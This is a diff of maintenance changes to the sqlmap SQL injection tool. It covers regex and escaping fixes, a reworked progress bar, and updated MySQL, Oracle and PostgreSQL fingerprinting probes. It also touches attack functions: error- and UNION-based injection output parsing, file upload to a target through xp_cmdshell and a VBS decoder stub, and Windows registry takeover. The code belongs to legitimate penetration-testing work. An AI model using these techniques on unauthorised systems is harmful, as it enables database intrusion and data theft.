cookies[last] += "%s%s" % (delimiter, part)
|
||||
|
||||
req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies)
|
||||
|
||||
try:
|
||||
result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers)
|
||||
except urllib2.HTTPError, e:
|
||||
|
||||
+4
-4
@@ -219,7 +219,7 @@ class Web:
|
||||
finally:
|
||||
been.add(url)
|
||||
|
||||
url = re.sub(r"(\.\w+)\Z", "~\g<1>", conf.url)
|
||||
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
|
||||
if url not in been:
|
||||
try:
|
||||
page, _, _ = Request.getPage(url=url, raise404=False, silent=True)
|
||||
@@ -231,7 +231,7 @@ class Web:
|
||||
|
||||
for place in (PLACE.GET, PLACE.POST):
|
||||
if place in conf.parameters:
|
||||
value = re.sub(r"(\A|&)(\w+)=", "\g<2>[]=", conf.parameters[place])
|
||||
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=", conf.parameters[place])
|
||||
if "[]" in value:
|
||||
page, headers, _ = Request.queryPage(value=value, place=place, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||
parseFilePaths(page)
|
||||
@@ -243,12 +243,12 @@ class Web:
|
||||
cookie = headers[HTTP_HEADER.SET_COOKIE]
|
||||
|
||||
if cookie:
|
||||
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
|
||||
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", cookie)
|
||||
if value != cookie:
|
||||
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||
parseFilePaths(page)
|
||||
|
||||
value = re.sub(r"(\A|;)(\w+)=[^;]*", "\g<2>=", cookie)
|
||||
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
|
||||
if value != cookie:
|
||||
page, _, _ = Request.queryPage(value=value, place=PLACE.COOKIE, content=True, raise404=False, silent=True, noteResponseTime=False)
|
||||
parseFilePaths(page)
|
||||
|
||||
@@ -136,7 +136,7 @@ class XP_cmdshell:
|
||||
|
||||
for line in lines:
|
||||
echoedLine = "echo %s " % line
|
||||
echoedLine += ">> \"%s\%s\"" % (tmpPath, randDestFile)
|
||||
echoedLine += ">> \"%s\\%s\"" % (tmpPath, randDestFile)
|
||||
echoedLines.append(echoedLine)
|
||||
|
||||
for echoedLine in echoedLines:
|
||||
|
||||
@@ -472,7 +472,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
currentCharIndex = threadData.shared.index[0]
|
||||
|
||||
if kb.threadContinue:
|
||||
start = time.time()
|
||||
val = getChar(currentCharIndex, asciiTbl, not(charsetType is None and conf.charset))
|
||||
if val is None:
|
||||
val = INFERENCE_UNKNOWN_CHAR
|
||||
@@ -485,7 +484,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
if kb.threadContinue:
|
||||
if showEta:
|
||||
progress.progress(calculateDeltaSeconds(start), threadData.shared.index[0])
|
||||
progress.progress(threadData.shared.index[0])
|
||||
elif conf.verbose >= 1:
|
||||
startCharIndex = 0
|
||||
endCharIndex = 0
|
||||
@@ -553,7 +552,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
start = time.time()
|
||||
|
||||
# Common prediction feature (a.k.a. "good samaritan")
|
||||
# NOTE: to be used only when multi-threading is not set for
|
||||
@@ -578,7 +576,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# Did we have luck?
|
||||
if result:
|
||||
if showEta:
|
||||
progress.progress(calculateDeltaSeconds(start), len(commonValue))
|
||||
progress.progress(len(commonValue))
|
||||
elif conf.verbose in (1, 2) or conf.api:
|
||||
dataToStdout(filterControlChars(commonValue[index - 1:]))
|
||||
|
||||
@@ -628,7 +626,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
threadData.shared.value = partialValue = partialValue + val
|
||||
|
||||
if showEta:
|
||||
progress.progress(calculateDeltaSeconds(start), index)
|
||||
progress.progress(index)
|
||||
elif conf.verbose in (1, 2) or conf.api:
|
||||
dataToStdout(filterControlChars(val))
|
||||
|
||||
|
||||
@@ -83,7 +83,7 @@ def dnsUse(payload, expression):
|
||||
_ = conf.dnsServer.pop(prefix, suffix)
|
||||
|
||||
if _:
|
||||
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
|
||||
_ = extractRegexResult(r"%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
|
||||
_ = decodeHexValue(_)
|
||||
output = (output or "") + _
|
||||
offset += len(_)
|
||||
|
||||
+11
-12
@@ -16,6 +16,7 @@ from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import decodeHexValue
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import firstNotNone
|
||||
from lib.core.common import getConsoleWidth
|
||||
from lib.core.common import getPartRun
|
||||
from lib.core.common import getUnicode
|
||||
@@ -102,7 +103,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||
try:
|
||||
while True:
|
||||
check = r"(?si)%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
|
||||
trimcheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
|
||||
trimCheck = r"(?si)%s(?P<result>[^<\n]*)" % kb.chars.start
|
||||
|
||||
if field:
|
||||
nulledCastedField = agent.nullAndCastField(field)
|
||||
@@ -133,22 +134,21 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||
|
||||
# Parse the returned page to get the exact error-based
|
||||
# SQL injection output
|
||||
output = reduce(lambda x, y: x if x is not None else y, (
|
||||
output = firstNotNone(
|
||||
extractRegexResult(check, page),
|
||||
extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
|
||||
extractRegexResult(check, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
|
||||
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)),
|
||||
None
|
||||
extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
||||
)
|
||||
|
||||
if output is not None:
|
||||
output = getUnicode(output)
|
||||
else:
|
||||
trimmed = (
|
||||
extractRegexResult(trimcheck, page) or
|
||||
extractRegexResult(trimcheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None) or
|
||||
extractRegexResult(trimcheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)) or
|
||||
extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
||||
trimmed = firstNotNone(
|
||||
extractRegexResult(trimCheck, page),
|
||||
extractRegexResult(trimCheck, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None),
|
||||
extractRegexResult(trimCheck, listToStrValue((headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()) if headers else None)),
|
||||
extractRegexResult(trimCheck, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None)
|
||||
)
|
||||
|
||||
if trimmed:
|
||||
@@ -163,7 +163,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False):
|
||||
output = extractRegexResult(check, trimmed, re.IGNORECASE)
|
||||
|
||||
if not output:
|
||||
check = "(?P<result>[^\s<>'\"]+)"
|
||||
check = r"(?P<result>[^\s<>'\"]+)"
|
||||
output = extractRegexResult(check, trimmed, re.IGNORECASE)
|
||||
else:
|
||||
output = output.rstrip()
|
||||
@@ -402,7 +402,6 @@ def errorUse(expression, dump=False):
|
||||
while kb.threadContinue:
|
||||
with kb.locks.limit:
|
||||
try:
|
||||
valueStart = time.time()
|
||||
threadData.shared.counter += 1
|
||||
num = threadData.shared.limits.next()
|
||||
except StopIteration:
|
||||
@@ -419,7 +418,7 @@ def errorUse(expression, dump=False):
|
||||
with kb.locks.value:
|
||||
index = None
|
||||
if threadData.shared.showEta:
|
||||
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
||||
threadData.shared.progress.progress(threadData.shared.counter)
|
||||
for index in xrange(1 + len(threadData.shared.buffered)):
|
||||
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
|
||||
break
|
||||
|
||||
@@ -19,6 +19,7 @@ from lib.core.common import calculateDeltaSeconds
|
||||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import extractRegexResult
|
||||
from lib.core.common import firstNotNone
|
||||
from lib.core.common import flattenValue
|
||||
from lib.core.common import getConsoleWidth
|
||||
from lib.core.common import getPartRun
|
||||
@@ -90,7 +91,10 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
||||
# Parse the returned page to get the exact UNION-based
|
||||
# SQL injection output
|
||||
def _(regex):
|
||||
return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
|
||||
return firstNotNone(
|
||||
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
|
||||
extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
|
||||
)
|
||||
|
||||
# Automatically patching last char trimming cases
|
||||
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
|
||||
@@ -308,7 +312,6 @@ def unionUse(expression, unpack=True, dump=False):
|
||||
while kb.threadContinue:
|
||||
with kb.locks.limit:
|
||||
try:
|
||||
valueStart = time.time()
|
||||
threadData.shared.counter += 1
|
||||
num = threadData.shared.limits.next()
|
||||
except StopIteration:
|
||||
@@ -333,7 +336,7 @@ def unionUse(expression, unpack=True, dump=False):
|
||||
items = parseUnionPage(output)
|
||||
|
||||
if threadData.shared.showEta:
|
||||
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
||||
threadData.shared.progress.progress(threadData.shared.counter)
|
||||
if isListLike(items):
|
||||
# in case that we requested N columns and we get M!=N then we have to filter a bit
|
||||
if len(items) > 1 and len(expressionFieldsList) > 1:
|
||||
@@ -355,7 +358,7 @@ def unionUse(expression, unpack=True, dump=False):
|
||||
else:
|
||||
index = None
|
||||
if threadData.shared.showEta:
|
||||
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
|
||||
threadData.shared.progress.progress(threadData.shared.counter)
|
||||
for index in xrange(1 + len(threadData.shared.buffered)):
|
||||
if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
|
||||
break
|
||||
|
||||
+11
-8
@@ -33,9 +33,10 @@ from lib.core.data import paths
|
||||
from lib.core.data import logger
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.defaults import _defaults
|
||||
from lib.core.dicts import PART_RUN_CONTENT_TYPES
|
||||
from lib.core.enums import AUTOCOMPLETE_TYPE
|
||||
from lib.core.enums import CONTENT_STATUS
|
||||
from lib.core.enums import MKSTEMP_PREFIX
|
||||
from lib.core.enums import PART_RUN_CONTENT_TYPES
|
||||
from lib.core.exception import SqlmapConnectionException
|
||||
from lib.core.log import LOGGER_HANDLER
|
||||
from lib.core.optiondict import optDict
|
||||
@@ -43,6 +44,7 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
|
||||
from lib.core.settings import RESTAPI_DEFAULT_PORT
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.core.subprocessng import Popen
|
||||
from lib.parse.cmdline import cmdLineParser
|
||||
from thirdparty.bottle.bottle import error as return_error
|
||||
@@ -159,6 +161,8 @@ class Task(object):
|
||||
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
|
||||
elif os.path.exists(os.path.join(os.getcwd(), "sqlmap.py")):
|
||||
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.getcwd(), close_fds=not IS_WIN)
|
||||
elif os.path.exists(os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), "sqlmap.py")):
|
||||
self.process = Popen(["python", "sqlmap.py", "--api", "-c", configFile], shell=False, cwd=os.path.join(os.path.abspath(os.path.dirname(sys.argv[0]))), close_fds=not IS_WIN)
|
||||
else:
|
||||
self.process = Popen(["sqlmap", "--api", "-c", configFile], shell=False, close_fds=not IS_WIN)
|
||||
|
||||
@@ -496,9 +500,7 @@ def scan_stop(taskid):
|
||||
Stop a scan
|
||||
"""
|
||||
|
||||
if (taskid not in DataStore.tasks or
|
||||
DataStore.tasks[taskid].engine_process() is None or
|
||||
DataStore.tasks[taskid].engine_has_terminated()):
|
||||
if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
|
||||
logger.warning("[%s] Invalid task ID provided to scan_stop()" % taskid)
|
||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
||||
|
||||
@@ -513,9 +515,7 @@ def scan_kill(taskid):
|
||||
Kill a scan
|
||||
"""
|
||||
|
||||
if (taskid not in DataStore.tasks or
|
||||
DataStore.tasks[taskid].engine_process() is None or
|
||||
DataStore.tasks[taskid].engine_has_terminated()):
|
||||
if (taskid not in DataStore.tasks or DataStore.tasks[taskid].engine_process() is None or DataStore.tasks[taskid].engine_has_terminated()):
|
||||
logger.warning("[%s] Invalid task ID provided to scan_kill()" % taskid)
|
||||
return jsonize({"success": False, "message": "Invalid task ID"})
|
||||
|
||||
@@ -689,7 +689,7 @@ def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=REST
|
||||
except ImportError:
|
||||
if adapter.lower() not in server_names:
|
||||
errMsg = "Adapter '%s' is unknown. " % adapter
|
||||
errMsg += "(Note: available adapters '%s')" % ', '.join(sorted(server_names.keys()))
|
||||
errMsg += "List of supported adapters: %s" % ', '.join(sorted(server_names.keys()))
|
||||
else:
|
||||
errMsg = "Server support for adapter '%s' is not installed on this system " % adapter
|
||||
errMsg += "(Note: you can try to install it with 'sudo apt-get install python-%s' or 'sudo pip install %s')" % (adapter, adapter)
|
||||
@@ -743,6 +743,9 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
||||
logger.critical(errMsg)
|
||||
return
|
||||
|
||||
commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit")
|
||||
autoCompletion(AUTOCOMPLETE_TYPE.API, commands=commands)
|
||||
|
||||
taskid = None
|
||||
logger.info("Type 'help' or '?' for list of available commands")
|
||||
|
||||
|
||||
+1
-1
@@ -7,7 +7,7 @@ See the file 'LICENSE' for copying permission
|
||||
|
||||
try:
|
||||
from crypt import crypt
|
||||
except ImportError:
|
||||
except: # removed ImportError because of https://github.com/sqlmapproject/sqlmap/issues/3171
|
||||
from thirdparty.fcrypt.fcrypt import crypt
|
||||
|
||||
_multiprocessing = None
|
||||
|
||||
+16
-18
@@ -5,6 +5,8 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import time
|
||||
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.data import conf
|
||||
@@ -17,13 +19,12 @@ class ProgressBar(object):
|
||||
|
||||
def __init__(self, minValue=0, maxValue=10, totalWidth=None):
|
||||
self._progBar = "[]"
|
||||
self._oldProgBar = ""
|
||||
self._min = int(minValue)
|
||||
self._max = int(maxValue)
|
||||
self._span = max(self._max - self._min, 0.001)
|
||||
self._width = totalWidth if totalWidth else conf.progressWidth
|
||||
self._amount = 0
|
||||
self._times = []
|
||||
self._start = None
|
||||
self.update()
|
||||
|
||||
def _convertSeconds(self, value):
|
||||
@@ -52,7 +53,7 @@ class ProgressBar(object):
|
||||
percentDone = min(100, int(percentDone))
|
||||
|
||||
# Figure out how many hash bars the percentage should be
|
||||
allFull = self._width - len("100%% [] %s/%s ETA 00:00" % (self._max, self._max))
|
||||
allFull = self._width - len("100%% [] %s/%s (ETA 00:00)" % (self._max, self._max))
|
||||
numHashes = (percentDone / 100.0) * allFull
|
||||
numHashes = int(round(numHashes))
|
||||
|
||||
@@ -68,19 +69,18 @@ class ProgressBar(object):
|
||||
percentString = getUnicode(percentDone) + "%"
|
||||
self._progBar = "%s %s" % (percentString, self._progBar)
|
||||
|
||||
def progress(self, deltaTime, newAmount):
|
||||
def progress(self, newAmount):
|
||||
"""
|
||||
This method saves item delta time and shows updated progress bar with calculated eta
|
||||
"""
|
||||
|
||||
if len(self._times) <= ((self._max * 3) / 100) or newAmount > self._max:
|
||||
if self._start is None or newAmount > self._max:
|
||||
self._start = time.time()
|
||||
eta = None
|
||||
else:
|
||||
midTime = sum(self._times) / len(self._times)
|
||||
midTimeWithLatest = (midTime + deltaTime) / 2
|
||||
eta = midTimeWithLatest * (self._max - newAmount)
|
||||
delta = time.time() - self._start
|
||||
eta = (self._max - self._min) * (1.0 * delta / newAmount) - delta
|
||||
|
||||
self._times.append(deltaTime)
|
||||
self.update(newAmount)
|
||||
self.draw(eta)
|
||||
|
||||
@@ -89,15 +89,13 @@ class ProgressBar(object):
|
||||
This method draws the progress bar if it has changed
|
||||
"""
|
||||
|
||||
if self._progBar != self._oldProgBar:
|
||||
self._oldProgBar = self._progBar
|
||||
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" ETA %s" % self._convertSeconds(int(eta))) if eta is not None else ""))
|
||||
if self._amount >= self._max:
|
||||
if not conf.liveTest:
|
||||
dataToStdout("\r%s\r" % (" " * self._width))
|
||||
kb.prependFlag = False
|
||||
else:
|
||||
dataToStdout("\n")
|
||||
dataToStdout("\r%s %d/%d%s" % (self._progBar, self._amount, self._max, (" (ETA %s)" % (self._convertSeconds(int(eta)) if eta is not None else "??:??"))))
|
||||
if self._amount >= self._max:
|
||||
if not conf.liveTest:
|
||||
dataToStdout("\r%s\r" % (" " * self._width))
|
||||
kb.prependFlag = False
|
||||
else:
|
||||
dataToStdout("\n")
|
||||
|
||||
def __str__(self):
|
||||
"""
|
||||
|
||||
+2
-4
@@ -49,12 +49,10 @@ class xrange(object):
|
||||
return hash(self._slice)
|
||||
|
||||
def __cmp__(self, other):
|
||||
return (cmp(type(self), type(other)) or
|
||||
cmp(self._slice, other._slice))
|
||||
return (cmp(type(self), type(other)) or cmp(self._slice, other._slice))
|
||||
|
||||
def __repr__(self):
|
||||
return '%s(%r, %r, %r)' % (type(self).__name__,
|
||||
self.start, self.stop, self.step)
|
||||
return '%s(%r, %r, %r)' % (type(self).__name__, self.start, self.stop, self.step)
|
||||
|
||||
def __len__(self):
|
||||
return self._len()
|
||||
|
||||
@@ -67,11 +67,11 @@ class Filesystem(GenericFilesystem):
|
||||
chunkName = randomStr(lowercase=True)
|
||||
fileScrLines = self._dataToScr(fileContent, chunkName)
|
||||
|
||||
logger.debug("uploading debug script to %s\%s, please wait.." % (tmpPath, randScr))
|
||||
logger.debug("uploading debug script to %s\\%s, please wait.." % (tmpPath, randScr))
|
||||
|
||||
self.xpCmdshellWriteFile(fileScrLines, tmpPath, randScr)
|
||||
|
||||
logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr))
|
||||
logger.debug("generating chunk file %s\\%s from debug script %s" % (tmpPath, chunkName, randScr))
|
||||
|
||||
commands = (
|
||||
"cd \"%s\"" % tmpPath,
|
||||
@@ -174,10 +174,10 @@ class Filesystem(GenericFilesystem):
|
||||
|
||||
encodedFileContent = base64encode(wFileContent)
|
||||
encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True)
|
||||
encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File)
|
||||
encodedBase64FilePath = "%s\\%s" % (tmpPath, encodedBase64File)
|
||||
|
||||
randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True)
|
||||
randPSScriptPath = "%s\%s" % (tmpPath, randPSScript)
|
||||
randPSScriptPath = "%s\\%s" % (tmpPath, randPSScript)
|
||||
|
||||
wFileSize = len(encodedFileContent)
|
||||
chunkMaxSize = 1024
|
||||
@@ -212,15 +212,15 @@ class Filesystem(GenericFilesystem):
|
||||
logger.info(infoMsg)
|
||||
|
||||
dFileName = ntpath.basename(dFile)
|
||||
sFile = "%s\%s" % (tmpPath, dFileName)
|
||||
sFile = "%s\\%s" % (tmpPath, dFileName)
|
||||
wFileSize = os.path.getsize(wFile)
|
||||
debugSize = 0xFF00
|
||||
|
||||
if wFileSize < debugSize:
|
||||
chunkName = self._updateDestChunk(wFileContent, tmpPath)
|
||||
|
||||
debugMsg = "renaming chunk file %s\%s to %s " % (tmpPath, chunkName, fileType)
|
||||
debugMsg += "file %s\%s and moving it to %s" % (tmpPath, dFileName, dFile)
|
||||
debugMsg = "renaming chunk file %s\\%s to %s " % (tmpPath, chunkName, fileType)
|
||||
debugMsg += "file %s\\%s and moving it to %s" % (tmpPath, dFileName, dFile)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
commands = (
|
||||
@@ -248,7 +248,7 @@ class Filesystem(GenericFilesystem):
|
||||
debugMsg = "appending chunk "
|
||||
copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName)
|
||||
|
||||
debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
|
||||
debugMsg += "%s\\%s to %s file %s\\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
commands = (
|
||||
@@ -275,7 +275,7 @@ class Filesystem(GenericFilesystem):
|
||||
|
||||
randVbs = "tmps%s.vbs" % randomStr(lowercase=True)
|
||||
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
|
||||
randFilePath = "%s\%s" % (tmpPath, randFile)
|
||||
randFilePath = "%s\\%s" % (tmpPath, randFile)
|
||||
|
||||
vbs = """Dim inputFilePath, outputFilePath
|
||||
inputFilePath = "%s"
|
||||
@@ -338,7 +338,7 @@ class Filesystem(GenericFilesystem):
|
||||
|
||||
self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile)
|
||||
|
||||
logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs))
|
||||
logger.debug("uploading a visual basic decoder stub %s\\%s, please wait.." % (tmpPath, randVbs))
|
||||
|
||||
self.xpCmdshellWriteFile(vbs, tmpPath, randVbs)
|
||||
|
||||
@@ -359,7 +359,7 @@ class Filesystem(GenericFilesystem):
|
||||
chunkMaxSize = 500
|
||||
|
||||
randFile = "tmpf%s.txt" % randomStr(lowercase=True)
|
||||
randFilePath = "%s\%s" % (tmpPath, randFile)
|
||||
randFilePath = "%s\\%s" % (tmpPath, randFile)
|
||||
|
||||
encodedFileContent = base64encode(wFileContent)
|
||||
|
||||
|
||||
@@ -183,8 +183,15 @@ class Fingerprint(GenericFingerprint):
|
||||
# reading information_schema on some platforms is causing annoying timeout exits
|
||||
# Reference: http://bugs.mysql.com/bug.php?id=15855
|
||||
|
||||
# Determine if it is MySQL >= 8.0.0
|
||||
if inject.checkBooleanExpression("ISNULL(JSON_STORAGE_FREE(NULL))"):
|
||||
kb.data.has_information_schema = True
|
||||
Backend.setVersion(">= 8.0.0")
|
||||
setDbms("%s 8" % DBMS.MYSQL)
|
||||
self.getBanner()
|
||||
|
||||
# Determine if it is MySQL >= 5.0.0
|
||||
if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
|
||||
elif inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"):
|
||||
kb.data.has_information_schema = True
|
||||
Backend.setVersion(">= 5.0.0")
|
||||
setDbms("%s 5" % DBMS.MYSQL)
|
||||
@@ -196,9 +203,17 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "actively fingerprinting %s" % DBMS.MYSQL
|
||||
logger.info(infoMsg)
|
||||
|
||||
# Check if it is MySQL >= 5.5.0
|
||||
if inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
|
||||
Backend.setVersion(">= 5.5.0")
|
||||
# Check if it is MySQL >= 5.7
|
||||
if inject.checkBooleanExpression("ISNULL(JSON_QUOTE(NULL))"):
|
||||
Backend.setVersion(">= 5.7")
|
||||
|
||||
# Check if it is MySQL >= 5.6
|
||||
elif inject.checkBooleanExpression("ISNULL(VALIDATE_PASSWORD_STRENGTH(NULL))"):
|
||||
Backend.setVersion(">= 5.6")
|
||||
|
||||
# Check if it is MySQL >= 5.5
|
||||
elif inject.checkBooleanExpression("TO_SECONDS(950501)>0"):
|
||||
Backend.setVersion(">= 5.5")
|
||||
|
||||
# Check if it is MySQL >= 5.1.2 and < 5.5.0
|
||||
elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"):
|
||||
|
||||
@@ -68,23 +68,23 @@ class Fingerprint(GenericFingerprint):
|
||||
infoMsg = "testing %s" % DBMS.ORACLE
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting
|
||||
# directly to the Oracle database
|
||||
# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
|
||||
# not work connecting directly to the Oracle database
|
||||
if conf.direct:
|
||||
result = True
|
||||
else:
|
||||
result = inject.checkBooleanExpression("ROWNUM=ROWNUM")
|
||||
result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||
|
||||
if result:
|
||||
infoMsg = "confirming %s" % DBMS.ORACLE
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does
|
||||
# NOTE: SELECT NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1]) FROM DUAL does
|
||||
# not work connecting directly to the Oracle database
|
||||
if conf.direct:
|
||||
result = True
|
||||
else:
|
||||
result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)")
|
||||
result = inject.checkBooleanExpression("NVL(RAWTOHEX([RANDNUM1]),[RANDNUM1])=RAWTOHEX([RANDNUM1])")
|
||||
|
||||
if not result:
|
||||
warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE
|
||||
|
||||
@@ -100,9 +100,9 @@ class Fingerprint(GenericFingerprint):
|
||||
if inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"):
|
||||
Backend.setVersion(">= 10.0")
|
||||
elif inject.checkBooleanExpression("SIND(0)=0"):
|
||||
Backend.setVersion(">= 9.6.0", "< 10.0")
|
||||
Backend.setVersionList([">= 9.6.0", "< 10.0"])
|
||||
elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"):
|
||||
Backend.setVersion(">= 9.5.0", "< 9.6.0")
|
||||
Backend.setVersionList([">= 9.5.0", "< 9.6.0"])
|
||||
elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"):
|
||||
Backend.setVersionList([">= 9.4.0", "< 9.5.0"])
|
||||
elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"):
|
||||
|
||||
@@ -372,7 +372,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
infoMsg = "reading Windows registry path '%s\\%s' " % (regKey, regVal)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return self.readRegKey(regKey, regVal, True)
|
||||
@@ -417,7 +417,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||
else:
|
||||
regType = conf.regType
|
||||
|
||||
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
infoMsg = "adding Windows registry path '%s\\%s' " % (regKey, regVal)
|
||||
infoMsg += "with data '%s'. " % regData
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
@@ -449,12 +449,12 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
|
||||
regVal = conf.regVal
|
||||
|
||||
message = "are you sure that you want to delete the Windows "
|
||||
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
||||
message += "registry path '%s\\%s? [y/N] " % (regKey, regVal)
|
||||
|
||||
if not readInput(message, default='N', boolean=True):
|
||||
return
|
||||
|
||||
infoMsg = "deleting Windows registry path '%s\%s'. " % (regKey, regVal)
|
||||
infoMsg = "deleting Windows registry path '%s\\%s'. " % (regKey, regVal)
|
||||
